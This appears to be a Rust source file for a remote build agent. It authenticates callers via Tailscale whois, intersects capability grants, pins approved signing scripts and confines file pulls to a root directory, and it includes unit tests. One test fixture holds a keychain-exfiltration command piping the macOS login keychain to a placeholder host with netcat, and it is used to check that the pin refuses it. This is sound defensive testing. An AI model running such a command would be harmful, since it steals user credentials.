| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
| 31 |
|
| 32 |
|
| 33 |
use crate::capability::CapabilitySet; |
| 34 |
use crate::executor::Executor; |
| 35 |
use crate::remote::LogSink; |
| 36 |
use crate::step::{Action, ObserveKind, Step}; |
| 37 |
use crate::transport::LocalExec; |
| 38 |
use crate::wire::{Frame, HealthResponse, PROTOCOL_VERSION, RunRequest}; |
| 39 |
use anyhow::{Context, Result}; |
| 40 |
use async_trait::async_trait; |
| 41 |
use serde::Deserialize; |
| 42 |
use std::net::{IpAddr, SocketAddr}; |
| 43 |
use std::path::{Component, Path, PathBuf}; |
| 44 |
use std::sync::Arc; |
| 45 |
|
| 46 |
|
| 47 |
#[derive(Clone, Debug, Deserialize)] |
| 48 |
pub struct AgentConfig { |
| 49 |
|
| 50 |
|
| 51 |
pub listen: SocketAddr, |
| 52 |
|
| 53 |
#[serde(default)] |
| 54 |
pub grant: GrantConfig, |
| 55 |
|
| 56 |
|
| 57 |
#[serde(default)] |
| 58 |
pub allow: Vec<CallerGrant>, |
| 59 |
|
| 60 |
|
| 61 |
|
| 62 |
#[serde(default)] |
| 63 |
pub pull_root: Option<PathBuf>, |
| 64 |
|
| 65 |
|
| 66 |
|
| 67 |
|
| 68 |
|
| 69 |
#[serde(default)] |
| 70 |
pub pin: Vec<ScriptPin>, |
| 71 |
} |
| 72 |
|
| 73 |
|
| 74 |
|
| 75 |
|
| 76 |
|
| 77 |
|
| 78 |
|
| 79 |
|
| 80 |
|
| 81 |
|
| 82 |
|
| 83 |
#[derive(Clone, Debug, Deserialize)] |
| 84 |
pub struct ScriptPin { |
| 85 |
|
| 86 |
pub action: String, |
| 87 |
|
| 88 |
#[serde(default)] |
| 89 |
pub allow: Vec<String>, |
| 90 |
} |
| 91 |
|
| 92 |
|
| 93 |
#[derive(Debug, PartialEq, Eq)] |
| 94 |
pub enum PinDecision { |
| 95 |
|
| 96 |
Unpinned, |
| 97 |
|
| 98 |
Approved, |
| 99 |
|
| 100 |
Refused, |
| 101 |
} |
| 102 |
|
| 103 |
|
| 104 |
|
| 105 |
|
| 106 |
|
| 107 |
|
| 108 |
|
| 109 |
pub fn check_script_pin(config: &AgentConfig, step: &Step) -> PinDecision { |
| 110 |
let Some(token) = step.action.token() else { |
| 111 |
return PinDecision::Unpinned; |
| 112 |
}; |
| 113 |
let Some(pin) = config.pin.iter().find(|p| p.action == token) else { |
| 114 |
return PinDecision::Unpinned; |
| 115 |
}; |
| 116 |
match step.shell_script() { |
| 117 |
Some(script) if pin.allow.iter().any(|s| s == script) => PinDecision::Approved, |
| 118 |
_ => PinDecision::Refused, |
| 119 |
} |
| 120 |
} |
| 121 |
|
| 122 |
|
| 123 |
#[derive(Clone, Debug, Default, Deserialize)] |
| 124 |
pub struct GrantConfig { |
| 125 |
#[serde(default)] |
| 126 |
pub actuate: Vec<String>, |
| 127 |
#[serde(default)] |
| 128 |
pub observe: Vec<String>, |
| 129 |
} |
| 130 |
|
| 131 |
impl GrantConfig { |
| 132 |
pub fn to_caps(&self) -> CapabilitySet { |
| 133 |
CapabilitySet::from_tokens(&self.actuate, &self.observe) |
| 134 |
} |
| 135 |
} |
| 136 |
|
| 137 |
|
| 138 |
|
| 139 |
#[derive(Clone, Debug, Deserialize)] |
| 140 |
pub struct CallerGrant { |
| 141 |
pub identity: String, |
| 142 |
#[serde(default)] |
| 143 |
pub actuate: Vec<String>, |
| 144 |
#[serde(default)] |
| 145 |
pub observe: Vec<String>, |
| 146 |
} |
| 147 |
|
| 148 |
impl CallerGrant { |
| 149 |
fn to_caps(&self) -> CapabilitySet { |
| 150 |
CapabilitySet::from_tokens(&self.actuate, &self.observe) |
| 151 |
} |
| 152 |
} |
| 153 |
|
| 154 |
|
| 155 |
#[derive(Clone, Debug, PartialEq, Eq)] |
| 156 |
pub struct CallerIdentity { |
| 157 |
pub node: String, |
| 158 |
pub tags: Vec<String>, |
| 159 |
} |
| 160 |
|
| 161 |
impl CallerIdentity { |
| 162 |
|
| 163 |
|
| 164 |
fn matches(&self, identity: &str) -> bool { |
| 165 |
self.node == identity || self.tags.iter().any(|t| t == identity) |
| 166 |
} |
| 167 |
} |
| 168 |
|
| 169 |
|
| 170 |
#[derive(Debug, PartialEq, Eq)] |
| 171 |
pub enum AuthDecision { |
| 172 |
|
| 173 |
Allow, |
| 174 |
|
| 175 |
UnknownCaller, |
| 176 |
|
| 177 |
Denied, |
| 178 |
} |
| 179 |
|
| 180 |
|
| 181 |
|
| 182 |
|
| 183 |
fn effective_grant(config: &AgentConfig, caller: &CallerIdentity) -> Option<CapabilitySet> { |
| 184 |
config |
| 185 |
.allow |
| 186 |
.iter() |
| 187 |
.find(|c| caller.matches(&c.identity)) |
| 188 |
.map(|entry| entry.to_caps().intersect(&config.grant.to_caps())) |
| 189 |
} |
| 190 |
|
| 191 |
|
| 192 |
|
| 193 |
pub fn authorize(config: &AgentConfig, caller: &CallerIdentity, action: &Action) -> AuthDecision { |
| 194 |
match effective_grant(config, caller) { |
| 195 |
None => AuthDecision::UnknownCaller, |
| 196 |
Some(effective) if effective.permits(action) => AuthDecision::Allow, |
| 197 |
Some(_) => AuthDecision::Denied, |
| 198 |
} |
| 199 |
} |
| 200 |
|
| 201 |
|
| 202 |
|
| 203 |
|
| 204 |
pub async fn tailscale_whois(peer: IpAddr) -> Result<CallerIdentity> { |
| 205 |
let out = tokio::process::Command::new("tailscale") |
| 206 |
.args(["whois", "--json", &peer.to_string()]) |
| 207 |
.output() |
| 208 |
.await |
| 209 |
.context("spawning `tailscale whois`")?; |
| 210 |
anyhow::ensure!( |
| 211 |
out.status.success(), |
| 212 |
"tailscale whois {peer} failed: {}", |
| 213 |
String::from_utf8_lossy(&out.stderr) |
| 214 |
); |
| 215 |
#[derive(Deserialize)] |
| 216 |
struct Whois { |
| 217 |
#[serde(rename = "Node")] |
| 218 |
node: WhoisNode, |
| 219 |
} |
| 220 |
#[derive(Deserialize)] |
| 221 |
struct WhoisNode { |
| 222 |
#[serde(rename = "Name", default)] |
| 223 |
name: String, |
| 224 |
#[serde(rename = "Tags", default)] |
| 225 |
tags: Vec<String>, |
| 226 |
} |
| 227 |
let parsed: Whois = serde_json::from_slice(&out.stdout).context("parsing whois json")?; |
| 228 |
|
| 229 |
|
| 230 |
let node = parsed |
| 231 |
.node |
| 232 |
.name |
| 233 |
.trim_end_matches('.') |
| 234 |
.split('.') |
| 235 |
.next() |
| 236 |
.unwrap_or("") |
| 237 |
.to_string(); |
| 238 |
Ok(CallerIdentity { |
| 239 |
node, |
| 240 |
tags: parsed.node.tags, |
| 241 |
}) |
| 242 |
} |
| 243 |
|
| 244 |
|
| 245 |
|
| 246 |
|
| 247 |
|
| 248 |
|
| 249 |
|
| 250 |
|
| 251 |
pub type WhoisResolver = Arc< |
| 252 |
dyn Fn(IpAddr) -> futures_util::future::BoxFuture<'static, Result<CallerIdentity>> |
| 253 |
+ Send |
| 254 |
+ Sync, |
| 255 |
>; |
| 256 |
|
| 257 |
|
| 258 |
#[derive(Clone)] |
| 259 |
pub struct AgentState { |
| 260 |
pub config: Arc<AgentConfig>, |
| 261 |
pub whois: WhoisResolver, |
| 262 |
} |
| 263 |
|
| 264 |
impl AgentState { |
| 265 |
|
| 266 |
pub fn new(config: AgentConfig) -> Self { |
| 267 |
Self { |
| 268 |
config: Arc::new(config), |
| 269 |
whois: Arc::new(|ip| Box::pin(tailscale_whois(ip))), |
| 270 |
} |
| 271 |
} |
| 272 |
} |
| 273 |
|
| 274 |
|
| 275 |
|
| 276 |
struct ChannelSink { |
| 277 |
tx: tokio::sync::mpsc::Sender<Result<axum::body::Bytes, std::io::Error>>, |
| 278 |
} |
| 279 |
|
| 280 |
#[async_trait] |
| 281 |
impl LogSink for ChannelSink { |
| 282 |
async fn write_chunk(&mut self, bytes: &[u8]) { |
| 283 |
let text = String::from_utf8_lossy(bytes).into_owned(); |
| 284 |
let line = Frame::Chunk { text }.to_line(); |
| 285 |
let _ = self.tx.send(Ok(axum::body::Bytes::from(line))).await; |
| 286 |
} |
| 287 |
} |
| 288 |
|
| 289 |
|
| 290 |
|
| 291 |
|
| 292 |
|
| 293 |
pub fn router(state: AgentState) -> axum::Router { |
| 294 |
use axum::routing::{get, post}; |
| 295 |
axum::Router::new() |
| 296 |
.route("/health", get(health)) |
| 297 |
.route("/run", post(run)) |
| 298 |
.route("/pull", get(pull)) |
| 299 |
.with_state(state) |
| 300 |
|
| 301 |
|
| 302 |
.layer(axum::extract::DefaultBodyLimit::max(1024 * 1024)) |
| 303 |
} |
| 304 |
|
| 305 |
|
| 306 |
|
| 307 |
|
| 308 |
async fn resolve_caller( |
| 309 |
state: &AgentState, |
| 310 |
peer: IpAddr, |
| 311 |
) -> Result<(CallerIdentity, CapabilitySet), axum::response::Response> { |
| 312 |
use axum::http::StatusCode; |
| 313 |
use axum::response::IntoResponse; |
| 314 |
let identity = (state.whois)(peer) |
| 315 |
.await |
| 316 |
.map_err(|e| (StatusCode::FORBIDDEN, format!("whois failed: {e}")).into_response())?; |
| 317 |
let effective = effective_grant(&state.config, &identity).ok_or_else(|| { |
| 318 |
( |
| 319 |
StatusCode::FORBIDDEN, |
| 320 |
format!("unknown caller: {}", identity.node), |
| 321 |
) |
| 322 |
.into_response() |
| 323 |
})?; |
| 324 |
Ok((identity, effective)) |
| 325 |
} |
| 326 |
|
| 327 |
async fn health( |
| 328 |
axum::extract::State(state): axum::extract::State<AgentState>, |
| 329 |
axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>, |
| 330 |
) -> axum::response::Response { |
| 331 |
use axum::response::IntoResponse; |
| 332 |
|
| 333 |
|
| 334 |
|
| 335 |
let (actuate, observe) = match resolve_caller(&state, peer.ip()).await { |
| 336 |
Ok((_, effective)) => ( |
| 337 |
effective.actuate_tokens().map(String::from).collect(), |
| 338 |
effective.observe_kinds().map(|k| k.token()).collect(), |
| 339 |
), |
| 340 |
Err(_) => (Vec::new(), Vec::new()), |
| 341 |
}; |
| 342 |
axum::Json(HealthResponse { |
| 343 |
ok: true, |
| 344 |
version: PROTOCOL_VERSION, |
| 345 |
actuate, |
| 346 |
observe, |
| 347 |
}) |
| 348 |
.into_response() |
| 349 |
} |
| 350 |
|
| 351 |
async fn run( |
| 352 |
axum::extract::State(state): axum::extract::State<AgentState>, |
| 353 |
axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>, |
| 354 |
axum::Json(req): axum::Json<RunRequest>, |
| 355 |
) -> axum::response::Response { |
| 356 |
use axum::http::StatusCode; |
| 357 |
use axum::response::IntoResponse; |
| 358 |
|
| 359 |
|
| 360 |
|
| 361 |
|
| 362 |
let (identity, effective) = match resolve_caller(&state, peer.ip()).await { |
| 363 |
Ok(pair) => pair, |
| 364 |
Err(resp) => return resp, |
| 365 |
}; |
| 366 |
if !effective.permits(&req.step.action) { |
| 367 |
return ( |
| 368 |
StatusCode::FORBIDDEN, |
| 369 |
format!( |
| 370 |
"action `{:?}` denied for {}", |
| 371 |
req.step.action, identity.node |
| 372 |
), |
| 373 |
) |
| 374 |
.into_response(); |
| 375 |
} |
| 376 |
|
| 377 |
|
| 378 |
|
| 379 |
|
| 380 |
|
| 381 |
if check_script_pin(&state.config, &req.step) == PinDecision::Refused { |
| 382 |
return ( |
| 383 |
StatusCode::FORBIDDEN, |
| 384 |
format!( |
| 385 |
"script pin: step for action `{:?}` is not an approved script on {}", |
| 386 |
req.step.action, identity.node |
| 387 |
), |
| 388 |
) |
| 389 |
.into_response(); |
| 390 |
} |
| 391 |
|
| 392 |
|
| 393 |
let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(64); |
| 394 |
tokio::spawn(async move { |
| 395 |
let exec = LocalExec::new(effective); |
| 396 |
let mut sink = ChannelSink { tx: tx.clone() }; |
| 397 |
let terminal = match exec.run_streaming(&req.step, &mut sink).await { |
| 398 |
Ok(out) => Frame::Exit { |
| 399 |
code: out.status.code().unwrap_or(-1), |
| 400 |
}, |
| 401 |
Err(e) => Frame::Error { |
| 402 |
message: format!("{e:#}"), |
| 403 |
}, |
| 404 |
}; |
| 405 |
let _ = tx |
| 406 |
.send(Ok(axum::body::Bytes::from(terminal.to_line()))) |
| 407 |
.await; |
| 408 |
}); |
| 409 |
|
| 410 |
let stream = tokio_stream::wrappers::ReceiverStream::new(rx); |
| 411 |
axum::body::Body::from_stream(stream).into_response() |
| 412 |
} |
| 413 |
|
| 414 |
#[derive(Deserialize)] |
| 415 |
struct PullQuery { |
| 416 |
path: PathBuf, |
| 417 |
} |
| 418 |
|
| 419 |
|
| 420 |
|
| 421 |
|
| 422 |
fn confine_to_root(root: &Path, requested: &Path) -> Option<PathBuf> { |
| 423 |
|
| 424 |
if requested |
| 425 |
.components() |
| 426 |
.any(|c| matches!(c, Component::ParentDir)) |
| 427 |
{ |
| 428 |
return None; |
| 429 |
} |
| 430 |
let canon_root = root.canonicalize().ok()?; |
| 431 |
let canon = requested.canonicalize().ok()?; |
| 432 |
canon.starts_with(&canon_root).then_some(canon) |
| 433 |
} |
| 434 |
|
| 435 |
async fn pull( |
| 436 |
axum::extract::State(state): axum::extract::State<AgentState>, |
| 437 |
axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>, |
| 438 |
axum::extract::Query(q): axum::extract::Query<PullQuery>, |
| 439 |
) -> axum::response::Response { |
| 440 |
use axum::http::StatusCode; |
| 441 |
use axum::response::IntoResponse; |
| 442 |
|
| 443 |
|
| 444 |
|
| 445 |
|
| 446 |
let (_identity, effective) = match resolve_caller(&state, peer.ip()).await { |
| 447 |
Ok(pair) => pair, |
| 448 |
Err(resp) => return resp, |
| 449 |
}; |
| 450 |
if !effective.permits_observe(&ObserveKind::Artifact) { |
| 451 |
return ( |
| 452 |
StatusCode::FORBIDDEN, |
| 453 |
"pull denied: requires `artifact` observe grant", |
| 454 |
) |
| 455 |
.into_response(); |
| 456 |
} |
| 457 |
|
| 458 |
|
| 459 |
let Some(root) = &state.config.pull_root else { |
| 460 |
return ( |
| 461 |
StatusCode::FORBIDDEN, |
| 462 |
"pull disabled: no pull_root configured", |
| 463 |
) |
| 464 |
.into_response(); |
| 465 |
}; |
| 466 |
let Some(path) = confine_to_root(root, &q.path) else { |
| 467 |
return ( |
| 468 |
StatusCode::NOT_FOUND, |
| 469 |
format!("pull {}: not found under pull_root", q.path.display()), |
| 470 |
) |
| 471 |
.into_response(); |
| 472 |
}; |
| 473 |
|
| 474 |
|
| 475 |
|
| 476 |
let file = match tokio::fs::File::open(&path).await { |
| 477 |
Ok(f) => f, |
| 478 |
Err(e) => { |
| 479 |
return ( |
| 480 |
StatusCode::NOT_FOUND, |
| 481 |
format!("pull {}: {e}", path.display()), |
| 482 |
) |
| 483 |
.into_response(); |
| 484 |
} |
| 485 |
}; |
| 486 |
let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(8); |
| 487 |
tokio::spawn(async move { |
| 488 |
use tokio::io::AsyncReadExt; |
| 489 |
let mut file = file; |
| 490 |
let mut buf = vec![0u8; 64 * 1024]; |
| 491 |
loop { |
| 492 |
match file.read(&mut buf).await { |
| 493 |
Ok(0) => break, |
| 494 |
Ok(n) => { |
| 495 |
if tx |
| 496 |
.send(Ok(axum::body::Bytes::copy_from_slice(&buf[..n]))) |
| 497 |
.await |
| 498 |
.is_err() |
| 499 |
{ |
| 500 |
break; |
| 501 |
} |
| 502 |
} |
| 503 |
Err(e) => { |
| 504 |
let _ = tx.send(Err(e)).await; |
| 505 |
break; |
| 506 |
} |
| 507 |
} |
| 508 |
} |
| 509 |
}); |
| 510 |
let stream = tokio_stream::wrappers::ReceiverStream::new(rx); |
| 511 |
axum::body::Body::from_stream(stream).into_response() |
| 512 |
} |
| 513 |
|
| 514 |
#[cfg(test)] |
| 515 |
mod tests { |
| 516 |
use super::*; |
| 517 |
|
| 518 |
fn cfg() -> AgentConfig { |
| 519 |
AgentConfig { |
| 520 |
listen: "127.0.0.1:0".parse().unwrap(), |
| 521 |
|
| 522 |
grant: GrantConfig { |
| 523 |
actuate: vec![ |
| 524 |
"build".into(), |
| 525 |
"sign".into(), |
| 526 |
"notarize".into(), |
| 527 |
"staple".into(), |
| 528 |
], |
| 529 |
observe: vec!["build-log".into()], |
| 530 |
}, |
| 531 |
allow: vec![CallerGrant { |
| 532 |
identity: "fw13".into(), |
| 533 |
actuate: vec![ |
| 534 |
"build".into(), |
| 535 |
"sign".into(), |
| 536 |
"notarize".into(), |
| 537 |
"staple".into(), |
| 538 |
], |
| 539 |
observe: vec!["build-log".into()], |
| 540 |
}], |
| 541 |
pull_root: None, |
| 542 |
pin: Vec::new(), |
| 543 |
} |
| 544 |
} |
| 545 |
|
| 546 |
fn fw13() -> CallerIdentity { |
| 547 |
CallerIdentity { |
| 548 |
node: "fw13".into(), |
| 549 |
tags: vec![], |
| 550 |
} |
| 551 |
} |
| 552 |
|
| 553 |
#[test] |
| 554 |
fn known_caller_granted_action_is_allowed() { |
| 555 |
assert_eq!( |
| 556 |
authorize(&cfg(), &fw13(), &Action::Sign), |
| 557 |
AuthDecision::Allow |
| 558 |
); |
| 559 |
} |
| 560 |
|
| 561 |
#[test] |
| 562 |
fn unknown_caller_is_rejected() { |
| 563 |
let stranger = CallerIdentity { |
| 564 |
node: "laptop-x".into(), |
| 565 |
tags: vec![], |
| 566 |
}; |
| 567 |
assert_eq!( |
| 568 |
authorize(&cfg(), &stranger, &Action::Sign), |
| 569 |
AuthDecision::UnknownCaller |
| 570 |
); |
| 571 |
} |
| 572 |
|
| 573 |
#[test] |
| 574 |
fn action_outside_agent_grant_is_denied_even_if_caller_asks() { |
| 575 |
|
| 576 |
assert_eq!( |
| 577 |
authorize(&cfg(), &fw13(), &Action::Deploy), |
| 578 |
AuthDecision::Denied |
| 579 |
); |
| 580 |
} |
| 581 |
|
| 582 |
#[test] |
| 583 |
fn intersection_floors_a_too_broad_caller() { |
| 584 |
|
| 585 |
|
| 586 |
let mut c = cfg(); |
| 587 |
c.allow[0].actuate.push("deploy".into()); |
| 588 |
assert_eq!( |
| 589 |
authorize(&c, &fw13(), &Action::Deploy), |
| 590 |
AuthDecision::Denied |
| 591 |
); |
| 592 |
assert_eq!(authorize(&c, &fw13(), &Action::Sign), AuthDecision::Allow); |
| 593 |
} |
| 594 |
|
| 595 |
#[test] |
| 596 |
fn tag_identity_matches() { |
| 597 |
let mut c = cfg(); |
| 598 |
c.allow[0].identity = "tag:builder".into(); |
| 599 |
let tagged = CallerIdentity { |
| 600 |
node: "whatever".into(), |
| 601 |
tags: vec!["tag:builder".into()], |
| 602 |
}; |
| 603 |
assert_eq!(authorize(&c, &tagged, &Action::Sign), AuthDecision::Allow); |
| 604 |
} |
| 605 |
|
| 606 |
#[test] |
| 607 |
fn pull_requires_a_known_caller_with_artifact_observe() { |
| 608 |
|
| 609 |
let stranger = CallerIdentity { |
| 610 |
node: "stranger".into(), |
| 611 |
tags: vec![], |
| 612 |
}; |
| 613 |
assert!(effective_grant(&cfg(), &stranger).is_none()); |
| 614 |
|
| 615 |
|
| 616 |
let mut c = cfg(); |
| 617 |
c.allow[0].observe = vec![]; |
| 618 |
c.grant.observe = vec![]; |
| 619 |
let eff = effective_grant(&c, &fw13()).unwrap(); |
| 620 |
assert!( |
| 621 |
!eff.permits_observe(&ObserveKind::Artifact), |
| 622 |
"no observe grant ⇒ pull denied" |
| 623 |
); |
| 624 |
|
| 625 |
|
| 626 |
let eff = effective_grant(&cfg(), &fw13()).unwrap(); |
| 627 |
assert!(eff.permits_observe(&ObserveKind::BuildLog)); |
| 628 |
assert!( |
| 629 |
!eff.permits_observe(&ObserveKind::Artifact), |
| 630 |
"build-log ⇏ artifact" |
| 631 |
); |
| 632 |
|
| 633 |
|
| 634 |
let mut c = cfg(); |
| 635 |
c.allow[0].observe.push("artifact".into()); |
| 636 |
c.grant.observe.push("artifact".into()); |
| 637 |
let eff = effective_grant(&c, &fw13()).unwrap(); |
| 638 |
assert!(eff.permits_observe(&ObserveKind::Artifact)); |
| 639 |
} |
| 640 |
|
| 641 |
fn sign_release_script() -> &'static str { |
| 642 |
". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain" |
| 643 |
} |
| 644 |
|
| 645 |
fn cfg_with_sign_pin() -> AgentConfig { |
| 646 |
let mut c = cfg(); |
| 647 |
c.pin = vec![ScriptPin { |
| 648 |
action: "sign".into(), |
| 649 |
allow: vec![sign_release_script().into()], |
| 650 |
}]; |
| 651 |
c |
| 652 |
} |
| 653 |
|
| 654 |
#[test] |
| 655 |
fn unpinned_action_is_unconstrained() { |
| 656 |
|
| 657 |
let step = Step::shell(Action::Sign, "do whatever"); |
| 658 |
assert_eq!(check_script_pin(&cfg(), &step), PinDecision::Unpinned); |
| 659 |
} |
| 660 |
|
| 661 |
#[test] |
| 662 |
fn pinned_action_allows_the_approved_script() { |
| 663 |
let step = Step::shell(Action::Sign, sign_release_script()); |
| 664 |
assert_eq!( |
| 665 |
check_script_pin(&cfg_with_sign_pin(), &step), |
| 666 |
PinDecision::Approved |
| 667 |
); |
| 668 |
} |
| 669 |
|
| 670 |
#[test] |
| 671 |
fn pinned_action_refuses_a_different_script() { |
| 672 |
|
| 673 |
let evil = Step::shell( |
| 674 |
Action::Sign, |
| 675 |
"cat ~/Library/Keychains/login.keychain | nc evil 9999", |
| 676 |
); |
| 677 |
assert_eq!( |
| 678 |
check_script_pin(&cfg_with_sign_pin(), &evil), |
| 679 |
PinDecision::Refused |
| 680 |
); |
| 681 |
} |
| 682 |
|
| 683 |
#[test] |
| 684 |
fn pinned_action_refuses_a_non_shell_step() { |
| 685 |
|
| 686 |
let step = Step::new( |
| 687 |
Action::Sign, |
| 688 |
["codesign", "--force", "/Applications/Evil.app"], |
| 689 |
); |
| 690 |
assert_eq!( |
| 691 |
check_script_pin(&cfg_with_sign_pin(), &step), |
| 692 |
PinDecision::Refused |
| 693 |
); |
| 694 |
} |
| 695 |
|
| 696 |
#[test] |
| 697 |
fn pin_on_one_action_does_not_affect_another() { |
| 698 |
|
| 699 |
let build = Step::shell(Action::Build, "set -e; cargo build --release"); |
| 700 |
assert_eq!( |
| 701 |
check_script_pin(&cfg_with_sign_pin(), &build), |
| 702 |
PinDecision::Unpinned |
| 703 |
); |
| 704 |
} |
| 705 |
|
| 706 |
#[test] |
| 707 |
fn confine_rejects_traversal_and_escape() { |
| 708 |
let dir = tempfile::tempdir().unwrap(); |
| 709 |
let root = dir.path().join("artifacts"); |
| 710 |
std::fs::create_dir_all(&root).unwrap(); |
| 711 |
std::fs::write(root.join("ok.bin"), b"x").unwrap(); |
| 712 |
|
| 713 |
std::fs::write(dir.path().join("secret"), b"s").unwrap(); |
| 714 |
|
| 715 |
|
| 716 |
assert!(confine_to_root(&root, &root.join("ok.bin")).is_some()); |
| 717 |
|
| 718 |
assert!(confine_to_root(&root, &root.join("../secret")).is_none()); |
| 719 |
|
| 720 |
assert!(confine_to_root(&root, &dir.path().join("secret")).is_none()); |
| 721 |
|
| 722 |
assert!(confine_to_root(&root, &root.join("missing")).is_none()); |
| 723 |
} |
| 724 |
} |
| 725 |
|